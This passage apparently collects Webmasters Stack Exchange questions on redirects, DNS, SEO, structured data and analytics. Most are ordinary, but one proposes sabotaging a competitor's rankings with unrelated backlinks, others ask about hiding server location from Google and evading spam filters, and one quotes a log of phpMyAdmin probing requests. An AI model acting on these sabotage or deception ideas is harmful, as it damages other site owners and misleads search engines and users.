onwards he started to have his site rewritten and with regular updates to counter Panda if that was the problem. Then in September with no improvements he employed someone to message webmasters to remove the links, a lot got removed. Then in October they released disavowed he then removed all the ones that wanted stupid amounts of payments or didn't response to take down messages. So I'm guessing all changes after NOV in total, thou panda changes was back in July.


Redirect to another site using a registered domain. Godaddy

I have a domain registered on godaddy (daniloaraujosilva.com). I would like when I type daniloaraujosilva.com/blog, for example, it redirects to my blog (sapiensgarou.blogspot.com). How can I perform this? Obs.: I think this is has a relation with CNAME or A, but I don't know exactly. I am a little new at this.


Tell Google to Refresh Search Screenshot

I recently remodeled a website for a client of mine. When doing a search on Google for their website the old website is still showing as the image for the website. Is there a way in the Google Webmaster Tools to tell Google to refresh this screenshot?


Schema.org Microdata for links to Member Organizations

I'm finishing up a site for a client who is a member of multiple organizations and wants to display links to those organizations on their website as in: Client Company is a Proud Member of: Organization 1 Organization 2, etc.. I've never really dealt with this situation before and maybe I'm just not phrasing my question properly, but I'm not finding anything. It leaves me with a couple of questions:   1. Is there an appropriate schema in existence for this scenario?   2. Is there an appropriate rel attribute that I should be using?   3. Will these links help or hurt SEO in any way?


What percentage of internet users reject cookies?

What percentage of internet users don't accept cookies by default? (persistent and session cookies). Couldn't find _any_ current data, only estimates.


GA and /outbound/javascript:void(0) bounce rate

My Google Analytics reports a bounce rate very high for `outbound/javascript:void(0)` but I don't understand what this URL is. I use Drupal, and in the HTML code there isn't this URL.


Copyright my website name. Is this possible?

I am wondering if besides owning my domain name, should I copyright the actual name of the site? If my site is called **mysite.com**. Could I go to http://www.copyright.gov/ and copyright **mysite**? Or do I need to do nothing? What would be best if someone was to try and steal my website name?


Suggestions required to build an ECommerce Platform

For a prospective client we have to offer a solution to provide following system:   * CMS    * Order Management   * Shopping Cart   * CRM   * Helpdesk   * Accounting & Finance   * Custom Functions In order to save time and to avoid reinvent the wheel our idea is to integrate different off-the-shelf solutions. Their first requirement is that the system has to be hosted in their country which I think will exclude application like Aplicor, Netsuite & Salesforce. Basically the nucleaus would be the CMS which would integrate all the other apps. PHP or .Net based solutions would be our preferences as have inhouse expertise. So far following are few combinations I have come up with:   * Joomla (CMS) + Virtuemart (Cart+Ordering) + Sugar CRM + Open ERP (finance) + OTRS   * Magento (CMS+Cart+Ordering) + Sugar CRM + Open ERP (finance) + Helpdesk Ultimate   * Drupal (CMS) + Ubercart (Cart+Ordering) + Sugar CRM + Open ERP (finance) + Support Ticketing System   * Sharepoint (CMS) + OptimusBt (Cart+Ordering) + Dynamics CRM + Great Plains + SharepointHQ   * Dotnetnuke (CMS) + DNNSpot (Cart+Ordering) + Sigma Pro (CRM+Helpdesk) + Open ERP For Helpdesk I liked Zendesk but the server location was the stopping factor, similar for finance and CRM I liked Aplicor. I would not like to go into detailed requirements as it would make things very complex. Could you please suggest me which options are worth enough to start looking into? What other options we have?


Google maps premier license

I would like to buy Google maps premier license. I tried to contact Google maps through their web site (online inquiry form). No one got back to me. I would appreciate if someone can help me with this.


Is it necessary to buy a WAP domain or just creating subdomain like wap.xxxx.com

We planning to launch mobile WAP site to our exiting customer lead tracking website is it necessary to buy WAP domain or else creating subdomain for existing domain like `wap.xxx.com`.


What type of server is using Django/Python? .htaccess is compatible?

I was wondering what type of server is using python & django because i don't know if can i use an _.htaccess_ file and if there is something similar. Thanks.


schema.org 'reviewRating' tag not recognized by google snippet testing tool

I'm trying to add more structural information to my webpages by using the microdata format suggested in www.schema.org. The procedure seems straight forward but I'm having issues validating my results in the Google Rich Snippets Testing Tool. Check out this review page, here I'm using the 'reviewRating' property item to specify rating values for that particular review. I followed the same format as defined in schema.org/Rating but this markup fails validation in Google's rich snippet testing tool with the following error info.               Item      Type: http://schema.org/rating     reviewrating = 5      ratingvalue = 5      Warning: Property "reviewrating" was not found.


URL for a blogger blog issue

I am hosting the URL (`www.getyourpansoff.com`) of a friend as an add-on in a bluehost account. I want to use this URL for her blog (`get-your-pans- off.blogspot.com`). I have configured the URL in the blog itself, and Google seems happy with it. However, when I try to open the blog using `www.getyourpansoff.com`, I do not see the blog. In BlueHost, I have the following: ![enter image description here](http://i.stack.imgur.com/xfthC.jpg) I also have a redirection: ![enter image description here](http://i.stack.imgur.com/0UqTu.jpg) What am I doing wrong and how to solve it? **Update** What I have now:               A     record www -> 69.195.124.93     CNAME record www.getyourpansoff -> getyourpansoff.com      and not redirection. Still does not work.


Shared IP address

My website share the same IP address with a lot of other internet sites (500) that are not mine. How is this possible? is this affecting my SEO? Thanks


Ajax load more for search engine bots

On my website I am only displaying 20 posts for visitors, when they scroll down it loads more. I want to know if will affect the ranking of my website in a negative way if I load, for example, 100 posts for search engines. I am not worried much about the loading time as I am loading only text (really small posts). I would really appreciate any advice.


URL query variables and rel=canonical

I have 14 pages of products on my site. Each page has 10 products. The product pages are powered by Ajax, and I have a _filter results_ feature which lets them only show products with higher ratings, particular features, etc. These results in an unimaginable number of different URLs (thanks to the query variables), and I believe it may be causing duplicate content issues since these unique URLs are being indexed. This is what I have made the paginated pages URL look like:               www.site.com?page=2     www.site.com?page=3      And so on until page 14. Some of the URLs being indexed with query variables look like this:               site.com?price[1500-1999]=on&technology[good]=on      I'm wondering what I should do about these dynamically generated pages. I did not believe Google would index them, but since they are, should I apply the canonical page to any page which deviates from the URL structure I have above (`www.site.com?page=2`) for example.


CMS for social photo album

I am going to make a multi-user photo album. I am looking for a robust and free CMS which can easily handle batch image uploads and some social networking capabilities, like rating, relationship, etc. I know that it can be done using Wordpress but I appreciate it if you suggest me to other viable alternatives (not necessarily php-based).


How to search for backlinks on google

What is the difference between following google search statements `link:article-stack.com` and `link:article-stack.com site:stackexchange.com` Can i consider 2nd search result as a subset of 1st search result?


Tonga domains for commercial websites

Does anyone knows disadvantatges on installing a commercial website on Tonga domains? I mean, maybe it is not advisable to link a website for .TO domains (these domains tends to be for torrents, for instance).


Cloning a site and avoiding SEO problems

I have an idea to use a (cc-by-sa) data dump from another site, where I will experiment with new ideas. This would still be a site with almost 99% of the data similar. I can see two "rules" that search engines may apply   * Don't duplicate content   * Dont send different data to the bot and the ordinary visitors Links to the original site will be present as required by the data dump. If only the titles and other new data is shown to the bot it would solve the first rule but would that violate the second? Or should I simply put these pages in a robots.txt banned area? Would this be going to far. I don't care about ranking, only not to be banned. It should be found if people were specifically looking for alternate voting schemes, from new content that I generate.


Homepage disappeared from Google results

Even that my traffic through Google raised approximately 40%, the homepage (`/`) of my page is gone from Google results even though I have no broken links. How can I investigate the cause?


Update Google Adwords/Analytics goal path and conversion values outside of client's browser

I guess my question is sort of a two parter...   1. **Is it possible to capture a Google Analytics visitors id? (not their traditional Google account id)** I'm assuming the Google Analytics script gives users a cookie with an id (specific to the Analytics/Adwords application) to track their page navigation.   2. **Is there a Google API/web service that allows to pass the given Analytics visitor ID to mark a goal conversion (and value for the conversion) outside of the original visitor's web browser?** I have a conversion/goal setup on our Analytics profile (that is shared with our Adwords account) to record a success when the visitor fills out a form on our website. Problem is, we don't know if that form submission really generated any value for us until maybe even months down the road. What would be really awesome is, if upon that form submit, we could pass their Google Analytics visitor ID to our database, and then later update that visitors conversion and value once we've actually realized that value. I'm fairly skeptical this is actually possible.


How to improve onsite SEO if the site contain mainly picture?

And design requires that we don't add texts. The site contains only pictures. I think it needs some text. However, I do not want the text to be shown. Should I put it on img title? Should I hide it on description? Should I use meta keywords? What should I do?


Page authorship using rel=me link for non-article, non-textual sites?

Google's recent addition of authorship with the combination of google plus and the rel=me link and verification of the google plus profile makes for some very compelling links for a site in the google search index: Here's an example just by google searching for rel=me Such a great way of displaying article results, that I'm wondering if it can be effective on product page searches as well. Has anyone implemented that with non-article-based pages with good results?


What should I do with these old domain names?

I purchased some domain names a few years ago intending to build something on them. I haven't had the time to develop any of the websites, but I still think they have potential. What would you do? _Let them expire, sell them, create a sign-up page to gauge user interest, something else?_ Are there any resources/methods/tools you can recommend to accomplish this?


Moving a site that was already moved - how should I deal with rewrites and redirects?

I have a site that used to have all of its pages hosted on a single domain (e.g. `mydomain.com`). At some point, a portion of the site's content was moved to another domain and the folks who did the move handled it by creating URL rewrites and 301 redirects. Here's an example from my `.htaccess` file: `RewriteRule ^go/start/page.html http://otherdomain.com/page.html` `Redirect 301 /go/resource/guide.pdf http://otherdomain/resources/guide.pdf` I don't know why some URLs were re-written while others were redirected. **My problem now** is that I have to move these same pages to yet another location. For instance, what is currently hosted at `http://otherdomain.com` will be moved to `http://foo.mydomain.com`. What is the best way to handle this?


What is the best way to redirect my naked domain?

I have example.com, which points to web server using A records, I want to redirect all traffic from `www.example.com` to `example.com`. As far as i know these are methods,   1. 301 HTML redirect from www to `example.com`   2. Add CNAME alias for www to @   3. Add A record for www to webserver IP What is the best way to do it without affecting my search engine ranking?


SEO Heading Tags

i have h2 and h5 headings with generic names here NSFW: http://wp.me/1dfs6 such as 'editor picks' 'tags' 'all articles' would it be better for seo to give them unique and almost playful names with keywords?


Being at Google's Mercy: A Tool for Webmasters

you know what i would love? a tool by Google that tells you what they think of your site. if you're doing anything wrong that they are punishing you for or something. does such a tool exist?


Alt tag suitable replacement for critical text?

I have a slogan on my home page that will not appear in text anywhere else. The problem is part of the slogan needs to be an image, for design requirements. Normally I would want to put this slogan in an `H1` header and the title. Question is whether or not this image will hurt my content indexing by search engines, and if an `alt` tag is an adequate alternative. Thanks


Referrer traffic

I noticed repeat visits to my site from various websites, all located in the Ukraine. I looked at the source of the pages and see no links to neither my domain nor IP. I am wondering of the origin of this traffic. Hopefully there's no malicious intent. Is there a way to research it deeper?


Google Webmaster Tools keeps reporting not finding pages from the old website

About 3 months ago we've completely replaced the content of our domain, practically building up a new website. The sitemap for the new website has been submited to Google Webmaster Tools, the website earned very good rankings for a large set of keywords we were looking for. However, Google Webmaster Tools keeps on returning some "not found" messages, every 2-3 days, but regarding exclusively pages from the old sitemap, the one of the old website, which does not exist anymore. Why is Google looking to crawl for those old pages, that are not included anymore in the new sitemap and reports not to find them?


Which pages should be present in the sitemap

So if I have a WordPress blog for example, then out of the following which should be present in the sitemap and which should not be?   1. posts - these will be obviously.   2. pages - should be.   3. categories - ?   4. date archives - ?   5. tags - ? What kind of SEO impact does it have to list all tags, categories and archives pages in the sitemap or not list them at all and give them a meta robot `noindex`.


Page title for real estate website

When user creates a real-estate content page, the `title` will be created by the rules I will create. Lets say there will be 10,000 flats on sale in London. So to make this as good as I can - how do I make good rules for page `title` for all content created? I would make tokens that will handle this something like:               "City" - "Type of real-estate + ft" - "price" - "Website name"      E.g.:               (London - Apartment 50ft - $120,000 - WEBSITE NAME)      I could probably think of something better if I had 5 - 10 flats, but when I know there will huge amount of them I have no idea which will work best. The content has many fields which could be used for page title (address, postal, price, number of floors, parking lots etc.)


What Google will do while switching from 301/404 to 200?

Imagine a pagination script with 20 total pages:               articles.php?page=18      What should I do when some third party web site links to a non-existent page?               articles.php?page=21      (page 21 is out of bounds)     articles.php?page=-10     (as is this)     articles.php?page=blabla  (or this)      problem is... (I have 20 total pages)   * some 3rd party site links `articles.php?page=21` that doesn't exist (last page is the 20th)   * and I send 404/301 as a response   * Google crawls that link   * some time after, the total number of articles increases and will make the 21st page appear   * the 404/301 will be removed in favor of the status 200 Is that correct? Is 404 or 301 better? Do I need some more expedients? (with a 301 redirect I mean redirecting to the closest valid page) * * * more answers are welcome!!


How do I know dead links in Google ad-words?

I am spending a lot of money on Google ad-words in my website. Sometimes customers get dead links from ad-words and unable to get to intended page. I know this is an issue from my part. I need to know which are those dead links that ad-words lists? Is there any way to find this?


How to increase Google page rank of your website/blog?

OK so as far as I know to have good PR your website must have   1. Good content/articles   2. Many back-links   3. Good HTML code. What else? What should one do to increase his/her website's Google Page-Rank?


What does link:http://www.sunshinetrekking.com means in google?

In terms of learning seo i found something link:http://www.sunshinetrekking.com i.e link:websitename. I couldnot what it is searching google. What does it means? Dis it important for pagerank?


Nginx, URL special characters and punycode

I have an URL with special carachters (nicolòzanetti.com), and I'm having problem telling nginx how to handle it to the correct site. With a basic configuration:   (the * in the urls is to tell stackexchange to stop bothering about them)   `server_name www.nicolòzanetti.com nicolòzanetti.com; h*tps://www.nicolòzanetti.com -> Default virtual host but url unchanged h*tps://nicolòzanetti.com -> Default virtual host but url unchanged h*tp://www.nicolòzanetti.com -> Default virtual host and url changed to that of default virtual host h*tp://nicolòzanetti.com -> Default virtual host and url changed to that of default virtual host` So i tried with PunyCode:   `server_name www.xn--nicolzanetti-rhb.com xn--nicolzanetti-rhb.com www.nicolòzanetti.com nicolòzanetti.com; h*tps://www.nicolòzanetti.com -> Works! h*tps://nicolòzanetti.com -> Works! h*tp://www.nicolòzanetti.com -> Default virtual host and url changed to that of default virtual host h*tp://nicolòzanetti.com -> Default virtual host and url changed to that of default virtual host` I even tried to use regex with `~^www.nicolòzanetti.com$` and ~^www.nicol.zanetti.com$, but it failed again. Both Nginx in the http declaration and PHP have been set to use utf8, I can't tell the same for perl (I don't even know if I should or how). I should use the nginx encode function? If yes where can I find some examples please? How else may I solve this?


301 redirect from new page to old to keep PageRank?

I need to change a URL of an interior page that has a Google PageRank of 4. It was recommended by a coworker that I create the new URL but have it redirect to the old one, thus allowing a buildup of PR for the new URL, and the existing page continues to maintain a PR of 4. Does anyone have any insight as to whether this will actually work?


What is Page authority in OpenSiteExplorer.org?

I am trying increase page rank of my website. I came across http://www.opensiteexplorer.org. It generated the stats of my website. There are alot of things. I would like to start from some basics. So first What is page Authority? I find my page authority as low as 26 compared to others 40. How can i increase it?


Do user names used for login need to be unique?

Assuming a non-commercial site where users login with a user name and pw, do I need to enforce unicity of usernames? Note: The db will use a separate unique index to identify the users. The site is one where user can upload and share content, and have the possibility of doing that anonymously or not. However it is not primarily a social site.


Microdata/microformats for FAQ page?

Which microdata,microformats or rich snippet should I use for page with FAQ?


Blogspot noindex search label

The default _robots.txt_ of Blogspot is:               User-agent: Mediapartners-Google     Disallow:      User-agent: *     Disallow: /search     Allow: /     Sitemap: http://castbird-sourcing.blogspot.com/feeds/posts/default?orderby=UPDATED      But when I site:castbird-sourcing.blogspot.com the Google search show something like:               In order to show you the most relevant results, we have omitted some entries very similar to the 32 already displayed.     If you like, you can repeat the search with the omitted results included.      When I expand the result, I see something like:               castbird-sourcing.blogspot.com/search/label/gadget     A description for this result is not available because of this site's robots.txt – learn more.      My questions are:   1. does this very similar to the 32 already displayed problem harm the SEO in general?   2. shouldn't Googlebot have already ignored everything `/search`? Why do Google still indexing these pages?   3. How do I completely remove indexed `/search` link from the Google result?


How do I add 'www' before a subdomain, like www.subdomain.domain.com?

I want to add `www` in front of a subdomain e.g. `www.subdomain.domain.com`. My blogs are hosted on Blogger and am using GoDaddy for having custom domains. I have HOST @ entries for 'domain' pointing specified by blogger. The following subsdomains are configured by adding CNAME alias as follows:               subdomain -> ghs.google.com     www -> ghs.google.com         For `domain` (including `www.domain`) I have one blog. For `subdomain`, I am pointing it to seperate blog using above entries and `subdomain.domain.com` works fine. I read articles on this issue and tried adding following CNAME entry but no luck:               www.subdomain  ->  subdomain.domain.com      How do I make `www.subdomain.domain.com` work ?


Extended validation certificate not changing browser bar green in Firefox

I'm having some problems with an Extended validation certificate on a site that isn't showing the green bar correctly in Firefox. Chrome and IE are working fine. When I load the page the bar appears for a few seconds and then disappears when the page has fully loaded. Someone mentioned it could be because of loading images over HTTPS, but I'm not sure how valid this case is. We have one image on the page that is loaded from another source over HTTPS, the rest of the images are stored in the file system on the server. **FYI** - its Windows Server 2008 and ASP.net UPDATE: Solved this problem - the style sheet was loading in a Google Font url using http, not https - changed it and now it's working.


1 Google Analytics account or top-level domain + profiles for sub-domains vs. 1 account for each sub-domain

We have the following websites   * An online magazine Singapore edition - `sg.abc.com`   * The same online magazine Malaysia edition - `my.abc.com`   * Forums around the same subjects as the online magazine but functions independently - `forums.abc.com`   * Classifieds site rather also around the same subjects but functions independently - `directory.abc.com` Each of the above websites currently has its own Google Analytics account.   `abc.com` has a separate Google Analytics account too.   `sg.abc.com` has the most traffic and generates most revenues Are there any practical benefits of merging all the above sub-domains to be under abc.com? I can think of more reliable analytics and consistency for sure. Are there more? cross-sales?


Send multi channel funnel funnel-reports as email?

I intend to use Google Analytics multi-channel-funnels for keeping track of affiliates sending traffic to our site. I wish to send the affiliates an e-mail every week showing how many conversions they contributed to. Most reports in Google Analytics supports this but not the multi-channel- funnels. Why not and what can I do about it?


Confused about facebook like

We have a 'Website Page' on Facebook that people like and we post all our news on it etc. We also have a 'like' button on our website which people click on. When they click on it it seems to publish our page onto their wall which is great. However, we would like it so when people press 'like' on our website, it 'likes' our Facebook website page. Both counters are different, on our Facebook website page we have ~350 likes, on our website we have ~280 likes they seem to be individuals. Any way we can make people 'like' our website page on FB?


How does Google verify the trustworthiness of a website? How does one create trust with Google?


Search result page > category defined or understood by Google to co relate with search query?

I searched in Google: `does nioxin work?` One of the top results is: > Does nioxin shampoo make hair grow? - Yahoo! Answers answers.yahoo.com > > › ... › Beauty & Style › Hair > > * * * Why is the category formed with `> Beauty & Style › Hair?`


I have 2 domains one main, one parked. I recently switched but host provider told me theyd repoint the DNS but there are problems? Do it via DS

I wanted to switch my site from `www.mutantspace.ie` to www.mutantspace.com. Up until now the `.com` was my parked domain. I looked into it and was told that using this code in my _.htaccess_ file in `www.mutantspace.ie` would work:               RewriteEngine on     RewriteCond %{http_host} !^www.mutantspace.ie$ [nc]     RewriteRule ^(.*)$ http://www.mutantspace.com/$1 [r=301,nc,L]       I then asked my provider and he said 'Where are you moving too though?' Then he told me best way was for them to repoint site to `www.mutantspace.com`. I said fine (in my ignorance) and that is whats happened. However even though new URLs are being indexed I have 100s of old URLs out there returning 404s. Now I can't access my old _.htaccess_ file to put in permanent redirects because its now `.com`. Is there any code that I can use anywhere in my root directory that will redirect old `www.mutantspace.ie` pages to their corresponding `www.mutantspace.com/` pages?


SEO traffic redirect bomb?

Okay, so let's pretend i have a site about "Dogs". My main business, however, is insurance. For some lucky reason, I appear on top for "insurance". Then one day, company B appears and they beat me on Google. So, one way to harm their backlinks is to create many from unrelated niches. I.e. I could create links back from my dogs website to my competition's website. I actually did this by accident to myself, so i know: It killed my site's rankings and even got banned from Google for a while. So basically, my dogs website, with it's massive traffic, is a grenade, waiting to get thrown at a site. By directing bad traffic, I can kill someone's site. And worst of all, they will think they are getting a LOT of traffic, when actually, I'm screwing them in the long run. So my questions are....   1. Am I right? This would kill PR, or was the time it happened to me purely a fluke (it was so bad, that if you typed in "dogs" followed by my country name, my site would appear 4th, even though it probably doesn't have the word dogs on the entire site once).   2. How legal is this? (i'm scared this is a normal blackhat seo tactic that already exists.... is it?)   3. How can something like this boomerang?   4. Why is no one doing this? Or are they? Thanks!


With GIT, is it necessary to deploy with SSH? Is FTP okay?

My company's web server is on shared hosting which means we do not have SSH access. I want to use GIT for our version control, but without SSH access I'm wondering whether or not it is acceptable to deploy my websites via FTP instead. Am I losing anything by taking this approach? **What might be the major pitfalls for using FTP and not SSH** , if any? Since we're a relatively small web consulting agency, could it be worth spending the extra money for a dedicated server? * * * This is what I imagine to be the pitfalls:   * **File management is Less Efficient**     * The extra effort made to upload only the files that were changed     * Loss of push/pull/clone functionality on the server   * **Trivializes Having a Remote Central Repository** (i.e. Github or BitBucket)      * File management will always be from Local to Server...     * ...never from Central Repository to Server or vice versa


Best Free Web Statistics and Analytics Packages For Sites Using PHP & MySQL

I'm looking for a list of the best free web statistics and analytics packages for my site using PHP & MySQL?


Multiple domains for different products?

I have a website with software applications. Is it good for SEO to choose one keyword rich domain name for each of our software products or should we stick to a single domain? From a user's perspective I think it would be easier to remember a domain that is keyword rich as the user will instantly know what this product is for. But I have read articles that the latest trend in SEO is to stick to one domain for all of your products and invest on this single domain website. Is that true? What do you advise? Should I register a separate domain for each of our products or should I use only one single domain? Should I do a 301 redirect with a .htaccess to a single domain? And what about the sitemaps? Should I register all sites in Google Webmaster Tools and post a separate sitemap for each one of them? should my main site sitemap include all pages or should separate domains have their own sitemaps?


Forwarding emails not working

I bought a new domain for myself. I got an email account free with the domain. Inorder to access mails through my gmail account I set up auto-forwarding all mails from my domain's webmail. Now the problem is at times it forwards mails instantly but sometimes it doesn't. Can anything be done about it?


Could too many HTTP requests using AJAX result in browser crashes?

We are running an ASP.NET web application, and recently we received a lot of crash reports from users. It sometimes crashes the Chrome browser, and sometimes it loads indefinitely. This is how our system is designed: our page is a light weight HTML5 page, there is no code behind in our page (i.e., no server-side binding). Once the page is loaded in browser, it fires up AJAX requests to load everything it needs, from look up values to business model, and then it uses JavaScript to bind it to drop down lists and other DOM elements. This is the screen shot from the Chrome browser's developer tool: ![enter image description here](http://i.stack.imgur.com/trzJ3.png) Is 91 HTTP requests too much for a browser? How do I eliminate that this is not the cause of browser and application crashes?


I can't see the no Referral Exclusion List in Google Analytics

I'm trying to stop self referrals by adding my site to the Referral Exclusion list but I can't find it anywhere. I used this Google help document. Could this be because I have not upgraded to Universal Analytics? What are the reasons for self referrals?


Markdown (or Textile) editor for Joomla

I wonder whether there's any markdown editor similar to one used on StackExchange sites that's pluggable into Joomla CMS? Regular users tend to use rich WYSIWYG as they use Word. They set too many styles which makes the whole page ugly. Markdown editors on the other hand allow writing rich content that will end up in style of the site. Textile editor welcome as well, but less desired. **So are there any?**


Memory problem - CPU high usage in IE

I have a problem with a site, in which I try to find out what is wrong. The website is kiteclub.gr. I think that following two scripts are corresponding for the high memory usage from ie and cpu: URI: [removed] URI: http://cdn.wibiya.com/Toolbars/dir_0024/Toolbar_24280/toolbar_24280_4c90bb56d2aa3.js If you let the website open and you do something else, after some minutes new tabs of the site opens and new windows of internet explorer! do you get error on the same scripts in IE? If yes can you copy-paste the errors? Also do you agree that this make the site to use so much memory and cpu?? Or you think there is another problem? Any advice to solve it? Thanks in advance


Apache (XAMPP 1.8.0) access.log/Intrusion Detection Concern

[I originally posted on SO but it earned me a Tumbleweed badge. This looks like a better venue for the question.] I have Apache (XAMPP 1.8.0) running on Vista Pro x64. A couple times now I have seen a pattern like the example below in `access.log`. Concerning is the "attack" seems to somehow shift from a public IP to a valid private IP on my network (happens to be the WAN address of one of my routers). Two questions: How is this possible, and what happens if the "attacker" stumbles on a valid request? I've googled this to no avail.               177.0.X.X - - [03/Jun/2012:08:19:34 -0400] "GET /phpMyAdmin-2.5.4/index.php HTTP/1.1" 403      177.0.X.X - - [03/Jun/2012:08:19:34 -0400] "GET /phpMyAdmin-2.5.5-rc1/index.php HTTP/1.1" 403      177.0.X.X - - [03/Jun/2012:08:19:34 -0400] "GET /phpMyAdmin-2.2.6/index.php HTTP/1.1" 403      177.0.X.X - - [03/Jun/2012:08:19:34 -0400] "GET /phpMyAdmin-2.5.5-rc2/index.php HTTP/1.1" 403      192.168.15.3 - - [03/Jun/2012:08:19:56 -0400] "GET /phpMyAdmin-2.5.6-rc2/index.php HTTP/1.1" 403      177.0.X.X - - [03/Jun/2012:08:19:56 -0400] "GET /phpMyAdmin-2.5.6-rc1/index.php HTTP/1.1" 403      177.0.X.X - - [03/Jun/2012:08:19:56 -0400] "GET /phpMyAdmin-2.5.5-pl1/index.php HTTP/1.1" 403      192.168.15.3 - - [03/Jun/2012:08:19:59 -0400] "GET /phpMyAdmin-2.5.7/index.php HTTP/1.1" 403      192.168.15.3 - - [03/Jun/2012:08:20:01 -0400] "GET /phpMyAdmin-2.5.7-pl1/index.php HTTP/1.1" 403      192.168.15.3 - - [03/Jun/2012:08:20:02 -0400] "GET  HTTP/1.1" 400 1060 "-" "-"


Backlinks for nonexisting page

I've bought domain, which was previously used by somebody back in 2007. Now I've realized that internet is full of backlinks that point to non-existing parts (pages) under my website-domain (for example to mypage.com/whatever, where whatever is not present on my website, so 404 error shows). I want to ask, are these links counted by google (for pagerank) and other search engines, or not. So do I have to redirect these links to existing pages in order to be counted?


Image hot-linking - is it beneficial for SEO

Are there any SEO benefits to be had from allowing other sites to hotlink our images?


Cannot access the subdomain all the time

I created a new subdomain: `blog.example.com`. Sometimes, the blog is accessible without any problems, but other times it's not, just like now at this moment (14-Nov-2013 12:57 PM Lebanon Local Time). Yesterday at night it was working. I've been having this problem for days. If I ping the subdomain, under Windows:               Ping request could not be find host blog.example.com. Please check the name and try again.      If I try `tracert`:               Unable to resolve target system name blog.example.com.      And with `nslookup` I don't get any records, with my humble knowledge, it seems as DNS problem. But why would it work sometimes? and not other times? Note that the response of the previous commands are instantaneous (in case you need to check some packets or something). I'm also using the Global Google DNS (`8.8.8.8`).


Cloud just for hosting big files?

I need a solution to store my big files (50MB+ each). Currently I am using an European dedicated server (100MBits) with 8000GB/month at 60 USD. I would like to use a cloud service that automatically fetches my files from my server the first time users request it (like a classic cdn) (So I can have all files stored within 1 server) I was looking at Amazon CloudFront and, to get the same bandwidth 8'000 GB/month, I have to pay like 2000 USD vs my 60 USD of my dedicated server. Is there a cheaper alternative?


How to transfer domain from Godaddy to another provider

I'm currently using godaddy for all of my company domains, and I'm very unsatisfied with their service, specially with their site, so we are trying to migrate those domains to another provider. The question is, How do I transfer my domains to another domain registrar? I'm not talking about transferring domain records (A, MX...) but to use the same domains with another provider, and redo all the configuration again. For example, one of our blogs is hosted in Slicehost and we feel very confortable with their record editing tool. As I have read prowebmasters I can see other people not very satisfied with Godaddy service. Thanks! **edit:** Thanks for the answers, they were all very informative.


Preventing appearance of certain directories/pages in google search results

I have my personal homepage, and I want the main page itself to appear in search results. But I do not want a certain directory and its subdirectories to appear in google search results. How do I do this?


Differences between google domains in different countries

We are currently trying to see if our site is being indexed successfully by google. Mind you we got millions of pages. A trick some people use is the google site: command. I always assumed that google.com and google.nl would be the same. Data being fetched by the same GoogleBot. And that it was more of a latency thing where google.nl would be closer to home than google.com. But this is clearly not the case, since google.nl and google.com give back different results. http://www.google.nl/search?sourceid=chrome&ie=UTF-8&q=site:amazon.com returns 37.400.000 results and http://www.google.com/#sclient=psy&hl=en&site=&source=hp&q=site:amazon.com returns 487,000,000 results Does anybody know how this works? Another related question is what other tricks people use to see if google.com successfully indexes all data. It seems the best way is to do some analytics on the apache logs searching for the GoogleBot.


Registering a website with "YouTube" in the name

> **Possible Duplicate:**   >  Where is the line drawn with domain names which include a trademark? Are there legal (or other) issues with registering a site with "YouTube" in the name? An example would be "http://www.youtubepuppies.com". I would be running essentially a blog about puppies (going with this example), writing about how awesome dogs are and posting occasional youtube clips. This question isn't restricted to "YouTube", that's just an example of a well- known brand. I'm not going to be making any money from the site, nor am I envisioning the site to have a following (beyond what a little personal blog gets). And I just found a similar question: Where is the line drawn with domain names which include a trademark? Is there a way for a little guy to get "permission" from the brand holder to make a site like this?


Domains and trademarks - is there some legal risk

Suppose there is a trademark called "Rubyblock" and you buy rubyblock.com and name your app "Rubyblock" is there some legal risk? If yes, how do i can check this before to name the app and buy domain?


Is there anything I can do if I found someone ripping off my content?

I have created some content with very hard work (more than thousands of hours). And I found a website is just using all my content and put Google AdSense on it to generate money and traffic with my content. What can I do to force him to stop? All the data are personal created so I don't have any "license" or official copyright. Will Google be able to help? I have detailed and solid evidence. Any tips for me?


Can I fetch current user's search query coming from google on my website through any API

I was wondering, is there any API google analytics provide by which I can fetch search query for either organic or paid(adwords). By which I can decide what kind of content to show to that user. I want this data before showing any content to user, so this has to be that much quick in fetching from google. Is there any such thing available?


Looking for the name of something (social analytics, maybe?)

I write a blog. I'm not really interested in search-engine optimization or social media marketing, but I am curious when people link, read and comment about things I write away from my blog itself. I want an easy way of finding these things. I don't care about auto-submitting to sites, or anything like that. I also don't care about any statistics: I just want to know where the action is! For example, right now, I have cobbled together RSS feeds including:   * Twitter searches for my blog's name   * Reddit aggregate for any link to my domain But, for example, I always miss whenever my blog is posted to Hacker News, which is no fun since Hacker News discussions tend to be quite good. And, of course, I want to find out about discussions in places that I’ve never even heard of before. (I just signed up for Google Alerts, maybe that will help, maybe not. Google doesn't seem to be particularly realtime.) It seems to me there ought to be free services that do this sort of thing. But "social analytics" seems to be the wrong word, since that implies aggregation and data, and that's not really what I want. What am I looking for?


Class C IP Forwarding?

I'm not even sure how to correctly phrase this question so please bear with me as I try to explain what we want to do. And Thank You for taking the time to help me... We have products that appeal to an international audience. However with some search engines they factor in what class C/location your domain is sitting on for their serp results. The problem is we're very familiar with RackSpace cloud servers and their systems. If I had a domain I wanted to appear that it was sitting on a class C in the U.K. but I wanted the actual web server to be in the US (Dallas TX) is there some sort of trick/hack I can use to do so. Something like registering the domain, pointing the DNS to a UK web host and then pulling the files from my US cloud server WITHOUT a search engine (say Google) being able to tell where the site was actually located? I hate to have to jump through hoops like this and feel kinda sneaky doing so but Google certainly factors in IP location into their serps.


Same or different domain for system emails and company emails?

We have a website (Drupal) that provides daily email alerts to about 350 members who have opted in to receive these. In the past we have had small issues with some of our daily alerts being flagged as spam. We are working very hard to make sure that we meet all of the requirements to send legitimate email as our emails are here to help our users. One of those is to use a dedicated email provider such as Mandrill. But one question I have is that my boss thinks that by changing the domain that the email comes from (alert@example.com --> alert@somethingdifferent.com) that it will "dodge" the spam filters in case someone accidentally marked as spam. I see this as unprofessional. **Do major ISP's (like google) look at the IP address of incoming email or the domain, or both?** Another question I have is: **Is it dangerous at all to have our alert emails come from the same domain as our website?** If we have a website www.example.com, with all of our employees having email addresses of employee@example.com, and then have our alerts go out as alerts@example.com - what would happen if the domain were to be blocked? Wouldn't that harm employee emails to our potential members? I would think that it would be more professional to have emails come from our site name, but I just don't want our entire domain to be negatively affected if our alerts gets us in some spam trouble.


Microdata Without Reviews

